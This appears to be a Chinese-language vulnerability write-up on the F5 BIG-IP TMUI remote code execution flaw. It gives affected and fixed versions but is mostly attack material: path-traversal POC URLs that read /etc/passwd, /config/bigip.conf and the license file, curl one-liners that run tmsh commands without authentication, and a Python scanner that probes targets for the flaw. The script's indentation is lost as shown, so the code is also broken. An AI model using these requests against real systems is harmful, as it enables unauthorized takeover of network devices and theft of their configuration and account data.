F5 BIG-IP 是美国``F5公司一款集成流量管理、DNS、出入站规则、web应用防火墙、web网关、负载均衡等功能的应用交付平台。

0x01 漏洞描述

F5 BIG-IP 产品的流量管理用户页面 (TMUI)/配置程序的特定页面中存在一处远程代码执行漏洞。

未授权的远程攻击者通过向该页面发送特制的请求包,可以造成任意Java 代码执行。进而控制 F5 BIG-IP 的全部功能,包括但不限于: 执行任意系统命令、开启/禁用服务、创建/删除服务器端文件等。

0x02 影响版本

BIG-IP 15.x: 15.1.0/15.0.0

BIG-IP 14.x: 14.1.0 ~ 14.1.2

BIG-IP 13.x: 13.1.0 ~ 13.1.3

BIG-IP 12.x: 12.1.0 ~ 12.1.5

BIG-IP 11.x: 11.6.1 ~ 11.6.5

0x03 漏洞验证

POC:

1
2
3
4
5
6
7
8
9
10
11
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https:///tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf
https:///tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

RCE:
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Read File:
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

验证截图

0x04 简陋脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
target = input("请输入ip:")
targetport = input("请输入端口:")


headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
}

if targetport == '80':
url = 'http://'+target+':'+targetport+'/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
r = requests.request(method='GET', url=url,headers=headers,timeout=5, verify=False)
s = r.text
#if 'root:x:0:0:root' in s:
#print('存在RCE远程代码执行漏洞')
#else:
#print('不存在漏洞')
else:
url = 'https://'+target+':'+targetport+'/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
r = requests.request(method='GET', url=url,headers=headers,timeout=5, verify=False)
s = r.text
if 'root:x:0:0:root' in s:
print('存在BIG-IP-RCE远程代码执行漏洞')
else:
print('不存在漏洞')

漏洞修复

升级到以下版本:

BIG-IP 15.x: 15.1.0.4

BIG-IP 14.x: 14.1.2.6

BIG-IP 13.x: 13.1.3.4

BIG-IP 12.x: 12.1.5.2

BIG-IP 11.x: 11.6.5.2

参考资料:

https://mp.weixin.qq.com/s/twTCflFpxmOhA0gmAuwImA

https://twitter.com/x4ce/status/1279790599793545216

https://github.com/jas502n/CVE-2020-5902

https://github.com/nsflabs/CVE-2020-5902